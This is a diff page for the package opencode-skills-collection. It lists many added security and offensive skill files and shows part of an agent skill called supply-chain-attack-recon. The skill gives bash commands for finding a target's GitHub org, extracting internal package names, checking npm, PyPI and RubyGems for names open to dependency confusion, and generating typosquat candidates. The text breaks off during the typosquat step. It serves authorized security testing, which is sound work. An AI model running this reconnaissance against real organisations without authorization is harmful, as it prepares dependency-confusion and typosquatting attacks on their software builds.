opencode-skills-collection 4.0.67 → 4.0.69
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +281 -1
- package/bundled-skills/access-review/SKILL.md +394 -0
- package/bundled-skills/access-review/references/details.md +121 -0
- package/bundled-skills/agent-evals/SKILL.md +420 -0
- package/bundled-skills/agent-observability/SKILL.md +346 -0
- package/bundled-skills/agent-observability/references/details.md +786 -0
- package/bundled-skills/ai-agent-security/SKILL.md +393 -0
- package/bundled-skills/ai-agent-security/references/details.md +912 -0
- package/bundled-skills/ai-coding-agent-guardrails/SKILL.md +442 -0
- package/bundled-skills/ai-coding-agent-guardrails/references/details.md +753 -0
- package/bundled-skills/ai-inference-service-mesh/SKILL.md +449 -0
- package/bundled-skills/ai-pipeline-orchestration/SKILL.md +287 -0
- package/bundled-skills/ai-red-teaming/SKILL.md +409 -0
- package/bundled-skills/ai-security-hardening/SKILL.md +343 -0
- package/bundled-skills/ai-sre-incident-response/SKILL.md +336 -0
- package/bundled-skills/alerting-oncall/SKILL.md +458 -0
- package/bundled-skills/alerting-oncall/references/details.md +84 -0
- package/bundled-skills/anti-slop-design/SKILL.md +393 -0
- package/bundled-skills/antigravity-maintainer-batch-release/SKILL.md +1 -0
- package/bundled-skills/apk-redteam-pipeline/SKILL.md +446 -0
- package/bundled-skills/argocd-gitops/SKILL.md +469 -0
- package/bundled-skills/arm-templates/SKILL.md +438 -0
- package/bundled-skills/arm-templates/references/details.md +64 -0
- package/bundled-skills/artifact-yylo/SKILL.md +122 -0
- package/bundled-skills/asset-inventory/SKILL.md +412 -0
- package/bundled-skills/asset-inventory/references/details.md +127 -0
- package/bundled-skills/audit-logging/SKILL.md +476 -0
- package/bundled-skills/aws-cloudtrail/SKILL.md +486 -0
- package/bundled-skills/aws-cost-optimization/SKILL.md +331 -0
- package/bundled-skills/aws-ec2/SKILL.md +426 -0
- package/bundled-skills/aws-ecs-fargate/SKILL.md +388 -0
- package/bundled-skills/aws-iam/SKILL.md +463 -0
- package/bundled-skills/aws-lambda/SKILL.md +428 -0
- package/bundled-skills/aws-rds/SKILL.md +380 -0
- package/bundled-skills/aws-s3/SKILL.md +434 -0
- package/bundled-skills/aws-secrets-manager/SKILL.md +486 -0
- package/bundled-skills/aws-vpc/SKILL.md +436 -0
- package/bundled-skills/azure-ai-document-intelligence-ts/SKILL.md +1 -1
- package/bundled-skills/azure-aks/SKILL.md +423 -0
- package/bundled-skills/azure-devops/SKILL.md +457 -0
- package/bundled-skills/azure-functions-devsec/SKILL.md +436 -0
- package/bundled-skills/azure-keyvault/SKILL.md +455 -0
- package/bundled-skills/azure-keyvault/references/details.md +83 -0
- package/bundled-skills/azure-monitor-audit/SKILL.md +379 -0
- package/bundled-skills/azure-networking/SKILL.md +448 -0
- package/bundled-skills/azure-networking/references/details.md +135 -0
- package/bundled-skills/azure-sql/SKILL.md +413 -0
- package/bundled-skills/azure-sql/references/details.md +113 -0
- package/bundled-skills/azure-vms/SKILL.md +402 -0
- package/bundled-skills/azure-vms/references/details.md +134 -0
- package/bundled-skills/backup-recovery/SKILL.md +388 -0
- package/bundled-skills/bb-methodology/SKILL.md +451 -0
- package/bundled-skills/bb-methodology/references/details.md +120 -0
- package/bundled-skills/block-storage/SKILL.md +371 -0
- package/bundled-skills/blue-green-deploy/SKILL.md +453 -0
- package/bundled-skills/blue-green-deploy/references/details.md +90 -0
- package/bundled-skills/bug-bounty/SKILL.md +447 -0
- package/bundled-skills/bug-bounty/references/details.md +1316 -0
- package/bundled-skills/bugcrowd-reporting/SKILL.md +351 -0
- package/bundled-skills/business-continuity/SKILL.md +463 -0
- package/bundled-skills/career-ops/SKILL.md +186 -0
- package/bundled-skills/cdn-setup/SKILL.md +374 -0
- package/bundled-skills/change-management/SKILL.md +438 -0
- package/bundled-skills/change-management/references/details.md +105 -0
- package/bundled-skills/circleci/SKILL.md +475 -0
- package/bundled-skills/cis-benchmarks/SKILL.md +150 -0
- package/bundled-skills/cloudflare-pages/SKILL.md +318 -0
- package/bundled-skills/cloudflare-r2/SKILL.md +353 -0
- package/bundled-skills/cloudflare-workers/SKILL.md +415 -0
- package/bundled-skills/cloudflare-zero-trust/SKILL.md +361 -0
- package/bundled-skills/cloudformation/SKILL.md +461 -0
- package/bundled-skills/constraint-driven-development/SKILL.md +335 -0
- package/bundled-skills/constraint-driven-development/references/floor-guard.md +99 -0
- package/bundled-skills/container-hardening/SKILL.md +126 -0
- package/bundled-skills/container-registries/SKILL.md +435 -0
- package/bundled-skills/container-scanning/SKILL.md +416 -0
- package/bundled-skills/convex-backend/SKILL.md +338 -0
- package/bundled-skills/dast-scanning/SKILL.md +437 -0
- package/bundled-skills/database-backups/SKILL.md +425 -0
- package/bundled-skills/datadog/SKILL.md +487 -0
- package/bundled-skills/dependency-scanning/SKILL.md +457 -0
- package/bundled-skills/devcontainers-nix/SKILL.md +416 -0
- package/bundled-skills/disaster-recovery/SKILL.md +374 -0
- package/bundled-skills/disaster-recovery/references/details.md +219 -0
- package/bundled-skills/dns-management/SKILL.md +375 -0
- package/bundled-skills/docker-compose/SKILL.md +482 -0
- package/bundled-skills/docker-management/SKILL.md +426 -0
- package/bundled-skills/ebpf-observability/SKILL.md +436 -0
- package/bundled-skills/ebpf-observability/references/details.md +542 -0
- package/bundled-skills/elk-stack/SKILL.md +487 -0
- package/bundled-skills/enterprise-vpn-attack/SKILL.md +395 -0
- package/bundled-skills/evidence-hygiene/SKILL.md +404 -0
- package/bundled-skills/feature-flags/SKILL.md +426 -0
- package/bundled-skills/feature-flags/references/details.md +86 -0
- package/bundled-skills/fedramp-compliance/SKILL.md +453 -0
- package/bundled-skills/firebase-app-platform/SKILL.md +381 -0
- package/bundled-skills/firewall-config/SKILL.md +479 -0
- package/bundled-skills/gcp-audit-logs/SKILL.md +452 -0
- package/bundled-skills/gcp-audit-logs/references/details.md +56 -0
- package/bundled-skills/gcp-cloud-functions/SKILL.md +284 -0
- package/bundled-skills/gcp-cloud-sql/SKILL.md +277 -0
- package/bundled-skills/gcp-compute/SKILL.md +319 -0
- package/bundled-skills/gcp-gke/SKILL.md +307 -0
- package/bundled-skills/gcp-networking/SKILL.md +293 -0
- package/bundled-skills/gcp-secret-manager/SKILL.md +421 -0
- package/bundled-skills/gcp-secret-manager/references/details.md +131 -0
- package/bundled-skills/gdpr-compliance/SKILL.md +451 -0
- package/bundled-skills/gdpr-compliance/references/details.md +145 -0
- package/bundled-skills/geo-audit/SKILL.md +368 -0
- package/bundled-skills/geo-brand-mentions/SKILL.md +68 -0
- package/bundled-skills/geo-brand-mentions/references/details.md +471 -0
- package/bundled-skills/geo-citability/SKILL.md +350 -0
- package/bundled-skills/geo-compare/SKILL.md +340 -0
- package/bundled-skills/geo-content/SKILL.md +383 -0
- package/bundled-skills/geo-crawlers/SKILL.md +408 -0
- package/bundled-skills/geo-llmstxt/SKILL.md +464 -0
- package/bundled-skills/geo-platform-optimizer/SKILL.md +314 -0
- package/bundled-skills/geo-proposal/SKILL.md +378 -0
- package/bundled-skills/geo-prospect/SKILL.md +225 -0
- package/bundled-skills/geo-report/SKILL.md +436 -0
- package/bundled-skills/geo-report-pdf/SKILL.md +157 -0
- package/bundled-skills/geo-schema/SKILL.md +408 -0
- package/bundled-skills/geo-technical/SKILL.md +78 -0
- package/bundled-skills/geo-technical/references/details.md +543 -0
- package/bundled-skills/git-workflow/SKILL.md +460 -0
- package/bundled-skills/github-actions/SKILL.md +368 -0
- package/bundled-skills/gitlab-ci/SKILL.md +340 -0
- package/bundled-skills/google-no-code/SKILL.md +136 -0
- package/bundled-skills/gpu-kubernetes-operations/SKILL.md +468 -0
- package/bundled-skills/gpu-server-management/SKILL.md +236 -0
- package/bundled-skills/hashicorp-vault/SKILL.md +408 -0
- package/bundled-skills/helm-charts/SKILL.md +469 -0
- package/bundled-skills/hipaa-compliance/SKILL.md +451 -0
- package/bundled-skills/hunt-aspnet/SKILL.md +321 -0
- package/bundled-skills/hunt-ato/SKILL.md +184 -0
- package/bundled-skills/hunt-auth-bypass/SKILL.md +426 -0
- package/bundled-skills/hunt-auth-bypass/references/details.md +80 -0
- package/bundled-skills/hunt-brute-force/SKILL.md +341 -0
- package/bundled-skills/hunt-business-logic/SKILL.md +281 -0
- package/bundled-skills/hunt-cache-poison/SKILL.md +382 -0
- package/bundled-skills/hunt-captcha-bypass/SKILL.md +136 -0
- package/bundled-skills/hunt-cicd/SKILL.md +311 -0
- package/bundled-skills/hunt-clickjacking/SKILL.md +110 -0
- package/bundled-skills/hunt-cors/SKILL.md +335 -0
- package/bundled-skills/hunt-dom/SKILL.md +323 -0
- package/bundled-skills/hunt-exceptional-conditions/SKILL.md +111 -0
- package/bundled-skills/hunt-file-upload/SKILL.md +202 -0
- package/bundled-skills/hunt-fintech-graphql/SKILL.md +289 -0
- package/bundled-skills/hunt-forgot-password/SKILL.md +114 -0
- package/bundled-skills/hunt-grpc/SKILL.md +317 -0
- package/bundled-skills/hunt-host-header/SKILL.md +309 -0
- package/bundled-skills/hunt-html-injection/SKILL.md +106 -0
- package/bundled-skills/hunt-http-smuggling/SKILL.md +129 -0
- package/bundled-skills/hunt-http-smuggling/references/phase2h-smuggling-cachepoison.md +177 -0
- package/bundled-skills/hunt-idor/SKILL.md +434 -0
- package/bundled-skills/hunt-jwt-crypto/SKILL.md +221 -0
- package/bundled-skills/hunt-k8s/SKILL.md +337 -0
- package/bundled-skills/hunt-laravel/SKILL.md +255 -0
- package/bundled-skills/hunt-ldap/SKILL.md +351 -0
- package/bundled-skills/hunt-lfi/SKILL.md +311 -0
- package/bundled-skills/hunt-llm-ai/SKILL.md +289 -0
- package/bundled-skills/hunt-mfa-bypass/SKILL.md +177 -0
- package/bundled-skills/hunt-misc/SKILL.md +378 -0
- package/bundled-skills/hunt-nextjs/SKILL.md +299 -0
- package/bundled-skills/hunt-nodejs/SKILL.md +263 -0
- package/bundled-skills/hunt-nosqli/SKILL.md +210 -0
- package/bundled-skills/hunt-ntlm-info/SKILL.md +314 -0
- package/bundled-skills/hunt-oauth/SKILL.md +459 -0
- package/bundled-skills/hunt-open-redirect/SKILL.md +223 -0
- package/bundled-skills/hunt-race-condition/SKILL.md +381 -0
- package/bundled-skills/hunt-race-condition/references/details.md +159 -0
- package/bundled-skills/hunt-rag-vector/SKILL.md +212 -0
- package/bundled-skills/hunt-rce/SKILL.md +444 -0
- package/bundled-skills/hunt-rce/references/details.md +110 -0
- package/bundled-skills/hunt-saml/SKILL.md +156 -0
- package/bundled-skills/hunt-session/SKILL.md +342 -0
- package/bundled-skills/hunt-shadow-api/SKILL.md +198 -0
- package/bundled-skills/hunt-source-leak/SKILL.md +345 -0
- package/bundled-skills/hunt-spa-api/SKILL.md +163 -0
- package/bundled-skills/hunt-springboot/SKILL.md +285 -0
- package/bundled-skills/hunt-sqli/SKILL.md +466 -0
- package/bundled-skills/hunt-ssrf/SKILL.md +396 -0
- package/bundled-skills/hunt-ssrf/references/details.md +179 -0
- package/bundled-skills/hunt-ssti/SKILL.md +163 -0
- package/bundled-skills/hunt-subdomain/SKILL.md +379 -0
- package/bundled-skills/hunt-tls-network/SKILL.md +399 -0
- package/bundled-skills/hunt-xxe/SKILL.md +466 -0
- package/bundled-skills/i-have-adhd/SKILL.md +170 -0
- package/bundled-skills/idea-evaluator/SKILL.md +75 -0
- package/bundled-skills/idea-evaluator/idea-evaluator-con/SKILL.md +64 -0
- package/bundled-skills/idea-evaluator/idea-evaluator-pro/SKILL.md +64 -0
- package/bundled-skills/identity-access-management/SKILL.md +382 -0
- package/bundled-skills/identity-access-management/references/details.md +524 -0
- package/bundled-skills/incident-management/SKILL.md +484 -0
- package/bundled-skills/incident-response/SKILL.md +448 -0
- package/bundled-skills/incident-response/references/details.md +113 -0
- package/bundled-skills/interview-me/SKILL.md +248 -0
- package/bundled-skills/iso27001-compliance/SKILL.md +460 -0
- package/bundled-skills/jenkins/SKILL.md +462 -0
- package/bundled-skills/jev-use/SKILL.md +158 -0
- package/bundled-skills/kubernetes-hardening/SKILL.md +154 -0
- package/bundled-skills/kubernetes-ops/SKILL.md +449 -0
- package/bundled-skills/kubernetes-ops/references/details.md +108 -0
- package/bundled-skills/kustomize/SKILL.md +478 -0
- package/bundled-skills/ledger-tasks-yylo/SKILL.md +219 -0
- package/bundled-skills/linux-administration/SKILL.md +367 -0
- package/bundled-skills/linux-hardening/SKILL.md +154 -0
- package/bundled-skills/llm-app-security/SKILL.md +389 -0
- package/bundled-skills/llm-app-security/references/details.md +674 -0
- package/bundled-skills/llm-caching/SKILL.md +334 -0
- package/bundled-skills/llm-cost-optimization/SKILL.md +311 -0
- package/bundled-skills/llm-fine-tuning/SKILL.md +329 -0
- package/bundled-skills/llm-gateway/SKILL.md +282 -0
- package/bundled-skills/llm-inference-scaling/SKILL.md +286 -0
- package/bundled-skills/llmops-platform-engineering/SKILL.md +472 -0
- package/bundled-skills/load-balancing/SKILL.md +403 -0
- package/bundled-skills/loki-logging/SKILL.md +479 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/m365-entra-attack/SKILL.md +423 -0
- package/bundled-skills/mac-mini-llm-lab/SKILL.md +350 -0
- package/bundled-skills/mcp-server-security/SKILL.md +356 -0
- package/bundled-skills/mcp-server-security/references/details.md +745 -0
- package/bundled-skills/mdm-device-management/SKILL.md +404 -0
- package/bundled-skills/mdm-device-management/references/details.md +410 -0
- package/bundled-skills/meme-coin-audit/SKILL.md +402 -0
- package/bundled-skills/mid-engagement-ir-detection/SKILL.md +377 -0
- package/bundled-skills/model-registry-governance/SKILL.md +452 -0
- package/bundled-skills/model-serving-kubernetes/SKILL.md +339 -0
- package/bundled-skills/model-supply-chain-security/SKILL.md +427 -0
- package/bundled-skills/mongodb/SKILL.md +436 -0
- package/bundled-skills/multi-tenant-llm-hosting/SKILL.md +435 -0
- package/bundled-skills/multi-tenant-llm-hosting/references/details.md +211 -0
- package/bundled-skills/mysql/SKILL.md +390 -0
- package/bundled-skills/new-relic/SKILL.md +472 -0
- package/bundled-skills/nfs-storage/SKILL.md +356 -0
- package/bundled-skills/object-storage/SKILL.md +378 -0
- package/bundled-skills/offensive-osint/SKILL.md +443 -0
- package/bundled-skills/okta-attack/SKILL.md +436 -0
- package/bundled-skills/ollama-stack/SKILL.md +379 -0
- package/bundled-skills/openclaw-deployment-hardening/SKILL.md +135 -0
- package/bundled-skills/openclaw-local-mac-mini/SKILL.md +426 -0
- package/bundled-skills/openclaw-local-mac-mini/references/details.md +221 -0
- package/bundled-skills/openclaw-security-hardening/SKILL.md +135 -0
- package/bundled-skills/openshift/SKILL.md +485 -0
- package/bundled-skills/opentelemetry/SKILL.md +438 -0
- package/bundled-skills/opentelemetry/references/details.md +78 -0
- package/bundled-skills/opentofu-migration/SKILL.md +349 -0
- package/bundled-skills/osint-methodology/SKILL.md +460 -0
- package/bundled-skills/osint-methodology/references/details.md +1350 -0
- package/bundled-skills/pci-dss-compliance/SKILL.md +446 -0
- package/bundled-skills/penetration-testing/SKILL.md +152 -0
- package/bundled-skills/performance-tuning/SKILL.md +381 -0
- package/bundled-skills/plan-ledger-tasks-yylo/SKILL.md +52 -0
- package/bundled-skills/planetscale/SKILL.md +297 -0
- package/bundled-skills/platform-engineering/SKILL.md +348 -0
- package/bundled-skills/platform-engineering/references/details.md +944 -0
- package/bundled-skills/podman/SKILL.md +405 -0
- package/bundled-skills/policy-as-code/SKILL.md +434 -0
- package/bundled-skills/policy-as-code/references/details.md +204 -0
- package/bundled-skills/postgresql-devsec/SKILL.md +378 -0
- package/bundled-skills/prometheus-grafana/SKILL.md +469 -0
- package/bundled-skills/prompt-injection-defense/SKILL.md +483 -0
- package/bundled-skills/rag-infrastructure/SKILL.md +269 -0
- package/bundled-skills/rag-observability-evals/SKILL.md +444 -0
- package/bundled-skills/rag-observability-evals/references/details.md +92 -0
- package/bundled-skills/ralph-loop-yylo/SKILL.md +55 -0
- package/bundled-skills/ralph-loop-yylo/references/first_check.md +18 -0
- package/bundled-skills/ralph-loop-yylo/references/implement.md +60 -0
- package/bundled-skills/recon-scope-triage/SKILL.md +128 -0
- package/bundled-skills/redis/SKILL.md +421 -0
- package/bundled-skills/redteam-report-template/SKILL.md +370 -0
- package/bundled-skills/report-writing/SKILL.md +426 -0
- package/bundled-skills/report-writing/references/details.md +187 -0
- package/bundled-skills/resumable-implementation-contracts/SKILL.md +254 -0
- package/bundled-skills/reverse-proxy/SKILL.md +420 -0
- package/bundled-skills/runbook-creation/SKILL.md +438 -0
- package/bundled-skills/runbook-creation/references/details.md +71 -0
- package/bundled-skills/saas-security-posture/SKILL.md +415 -0
- package/bundled-skills/sast-scanning/SKILL.md +444 -0
- package/bundled-skills/sbom-supply-chain/SKILL.md +433 -0
- package/bundled-skills/security-arsenal/SKILL.md +446 -0
- package/bundled-skills/security-arsenal/references/details.md +540 -0
- package/bundled-skills/security-automation/SKILL.md +146 -0
- package/bundled-skills/semantic-versioning/SKILL.md +434 -0
- package/bundled-skills/semantic-versioning/references/details.md +83 -0
- package/bundled-skills/service-mesh/SKILL.md +422 -0
- package/bundled-skills/soc2-compliance/SKILL.md +409 -0
- package/bundled-skills/sops-encryption/SKILL.md +124 -0
- package/bundled-skills/sre-dashboards/SKILL.md +143 -0
- package/bundled-skills/ssh-configuration/SKILL.md +324 -0
- package/bundled-skills/ssl-tls-management/SKILL.md +428 -0
- package/bundled-skills/ssl-tls-management/references/details.md +99 -0
- package/bundled-skills/startup-it-troubleshooting/SKILL.md +415 -0
- package/bundled-skills/supply-chain-attack-recon/SKILL.md +453 -0
- package/bundled-skills/supply-chain-attack-recon/references/details.md +258 -0
- package/bundled-skills/systemd-services/SKILL.md +379 -0
- package/bundled-skills/terraform-aws/SKILL.md +125 -0
- package/bundled-skills/terraform-azure/SKILL.md +415 -0
- package/bundled-skills/terraform-azure/references/details.md +231 -0
- package/bundled-skills/terraform-gcp/SKILL.md +369 -0
- package/bundled-skills/threat-modeling/SKILL.md +487 -0
- package/bundled-skills/understand-project-yylo/SKILL.md +62 -0
- package/bundled-skills/user-management/SKILL.md +383 -0
- package/bundled-skills/using-agent-skills/SKILL.md +220 -0
- package/bundled-skills/vector-database-ops/SKILL.md +300 -0
- package/bundled-skills/vendor-management/SKILL.md +439 -0
- package/bundled-skills/vendor-management/references/details.md +109 -0
- package/bundled-skills/vercel-deployments/SKILL.md +296 -0
- package/bundled-skills/vllm-server/SKILL.md +236 -0
- package/bundled-skills/vmware-vcenter-attack/SKILL.md +412 -0
- package/bundled-skills/vpn-setup/SKILL.md +452 -0
- package/bundled-skills/vulnerability-scanning/SKILL.md +448 -0
- package/bundled-skills/waf-setup/SKILL.md +354 -0
- package/bundled-skills/waf-setup/references/details.md +211 -0
- package/bundled-skills/weather-model-data-fetching/SKILL.md +277 -0
- package/bundled-skills/weather-observation-fetching/SKILL.md +246 -0
- package/bundled-skills/web2-recon/SKILL.md +440 -0
- package/bundled-skills/web2-recon/references/details.md +319 -0
- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/wiki-yylo/SKILL.md +114 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/workflow-yylo/SKILL.md +107 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +6924 -0
|
@@ -0,0 +1,453 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: supply-chain-attack-recon
|
|
3
|
+
description: External recon for software supply-chain attack surface
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: alex-birsan-dependency-confusion, supply-chain-research, github-actions-security,
|
|
16
|
+
cisa-advisories, mandiant-tag, github-security-blog, snyk-research
|
|
17
|
+
report_count: 12
|
|
18
|
+
---
|
|
19
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
20
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
21
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
22
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
23
|
+
|
|
24
|
+
> **Mandatory confirmation gate**
|
|
25
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
26
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
27
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
28
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
29
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
30
|
+
>
|
|
31
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
32
|
+
|
|
33
|
+
## When to use
|
|
34
|
+
|
|
35
|
+
Trigger when:
|
|
36
|
+
- Target has a public GitHub organization (find via OSINT)
|
|
37
|
+
- JS bundles reference internal-looking package names (`@target-internal/...`, `target-utils`, `target-shared`)
|
|
38
|
+
- Build logs, SBOMs, or `package-lock.json` files are publicly accessible
|
|
39
|
+
- Target uses CI/CD that's partially public (GitHub Actions, GitLab CI, Bitrise)
|
|
40
|
+
- Docker images on Docker Hub/GHCR/Quay belong to target org
|
|
41
|
+
- Findings include `npmrc`/`pip.conf`/`gradle.properties` with internal registry URLs
|
|
42
|
+
- `.github/workflows/*.yml` files reference internal tooling
|
|
43
|
+
|
|
44
|
+
Do NOT use for:
|
|
45
|
+
- Internal-network artifact registries (out of scope per external boundary)
|
|
46
|
+
- Actually publishing typosquats / dep-confusion packages without explicit OK
|
|
47
|
+
- Compromising upstream open-source projects (massive blast radius — illegal in most jurisdictions without authorization)
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## The supply-chain attack surface map
|
|
52
|
+
|
|
53
|
+
```
|
|
54
|
+
Target Org
|
|
55
|
+
├── Public GitHub Org → workflow files → secrets exfil opportunities
|
|
56
|
+
├── Internal package names in JS/Android bundles → dependency confusion
|
|
57
|
+
├── Docker images on public registries → secrets in layers, RCE on pull
|
|
58
|
+
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
|
|
59
|
+
├── npmrc / pip.conf in repos → internal registry URL disclosure
|
|
60
|
+
├── External package dependencies → typosquat name candidates
|
|
61
|
+
└── Build/release pipelines → injection if pull_request_target etc.
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
## Step 1 — GitHub org discovery
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
TARGET="<brand>" # set to target brand name
|
|
70
|
+
|
|
71
|
+
# Direct guesses
|
|
72
|
+
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
|
|
73
|
+
curl -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
|
|
74
|
+
done
|
|
75
|
+
|
|
76
|
+
# Via WHOIS / email-domain → GitHub search
|
|
77
|
+
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10
|
|
78
|
+
|
|
79
|
+
# Via employees → reverse from social media + GitHub profile
|
|
80
|
+
# Many employees list their employer org on their GitHub profile
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
---
|
|
84
|
+
|
|
85
|
+
## Step 2 — Enumerate public repos for sensitive artifacts
|
|
86
|
+
|
|
87
|
+
```bash
|
|
88
|
+
ORG="targetorg"
|
|
89
|
+
|
|
90
|
+
# List public repos
|
|
91
|
+
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef
|
|
92
|
+
|
|
93
|
+
# Look for high-signal repo names
|
|
94
|
+
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"
|
|
95
|
+
|
|
96
|
+
# Clone all (small org) or selectively
|
|
97
|
+
gh repo clone "$ORG/$repo_name"
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
---
|
|
101
|
+
|
|
102
|
+
## Step 3 — Internal package-name discovery
|
|
103
|
+
|
|
104
|
+
### From JS bundles
|
|
105
|
+
|
|
106
|
+
```bash
|
|
107
|
+
# JS bundles are the easiest source of internal npm names
|
|
108
|
+
curl -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
|
|
109
|
+
curl -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u
|
|
110
|
+
|
|
111
|
+
# Look for scoped names that are NOT public on npm
|
|
112
|
+
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
|
|
113
|
+
status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
|
|
114
|
+
echo " $pkg → $status"
|
|
115
|
+
# 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
|
|
116
|
+
done
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
### From GitHub repo package.json files
|
|
120
|
+
|
|
121
|
+
```bash
|
|
122
|
+
# Public repos with package.json that reference internal scopes
|
|
123
|
+
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
|
|
124
|
+
pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
|
|
125
|
+
echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
|
|
126
|
+
done | sort -u
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### From Python projects
|
|
130
|
+
|
|
131
|
+
```bash
|
|
132
|
+
# Internal pip package names
|
|
133
|
+
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
|
|
134
|
+
gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
|
|
135
|
+
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Step 4 — Dependency-confusion vulnerability check
|
|
141
|
+
|
|
142
|
+
For each internal-looking package name discovered:
|
|
143
|
+
|
|
144
|
+
```bash
|
|
145
|
+
NAME="@target-internal/utils" # example
|
|
146
|
+
|
|
147
|
+
# npm check
|
|
148
|
+
curl -sI "https://registry.npmjs.org/$NAME" | head -1
|
|
149
|
+
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE
|
|
150
|
+
|
|
151
|
+
# pypi check (no scopes, just name)
|
|
152
|
+
NAME="target_utils"
|
|
153
|
+
curl -sI "https://pypi.org/project/$NAME/" | head -1
|
|
154
|
+
# 404 → name is registerable
|
|
155
|
+
|
|
156
|
+
# rubygems
|
|
157
|
+
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1
|
|
158
|
+
|
|
159
|
+
# Go modules — slightly different, since module names are URLs
|
|
160
|
+
# Check if module path is reachable
|
|
161
|
+
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
**Severity calibration:** Just because a name is unclaimed doesn't mean it's exploitable. You also need:
|
|
165
|
+
1. Evidence the target's BUILD SYSTEM resolves names from public registries (not just their internal one)
|
|
166
|
+
2. OR evidence the target's package manager is configured insecurely (e.g., `.npmrc` without `@scope:registry=` mapping)
|
|
167
|
+
3. OR the package would be installed by their builds (it's actually in package.json, not just referenced in dead code)
|
|
168
|
+
|
|
169
|
+
A 404 on registry without supporting context is INFORMATIONAL only.
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## Step 5 — Typosquat candidates (around external dependencies)
|
|
174
|
+
|
|
175
|
+
For each external public dependency the target uses:
|
|
176
|
+
|
|
177
|
+
```bash
|
|
178
|
+
# Common typosquat patterns:
|
|
179
|
+
# Original: "react-router-dom"
|
|
180
|
+
# Typos:
|
|
181
|
+
# "react-router-doms" (extra s)
|
|
182
|
+
# "react-routter-dom" (double t)
|
|
183
|
+
# "react-rotuer-dom" (transposed)
|
|
184
|
+
# "react--router-dom" (double dash)
|
|
185
|
+
# "react-router-dorn" (m→rn)
|
|
186
|
+
# "reactrouterdom" (no dashes)
|
|
187
|
+
|
|
188
|
+
# Generate candidates
|
|
189
|
+
python3 -c "
|
|
190
|
+
import sys
|
|
191
|
+
name='react-router-dom'
|
|
192
|
+
for i in range(len(name)):
|
|
193
|
+
print(name[:i] + name[i+1:]) # delete
|
|
194
|
+
if i < len(name)-1:
|
|
195
|
+
print(name[:i] + name[i+1] + name[i] + name[i+2:]) # transpose
|
|
196
|
+
"
|
|
197
|
+
|
|
198
|
+
# Check which candidates are UNCLAIMED on the registry
|
|
199
|
+
for candidate in ...; do
|
|
200
|
+
status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
|
|
201
|
+
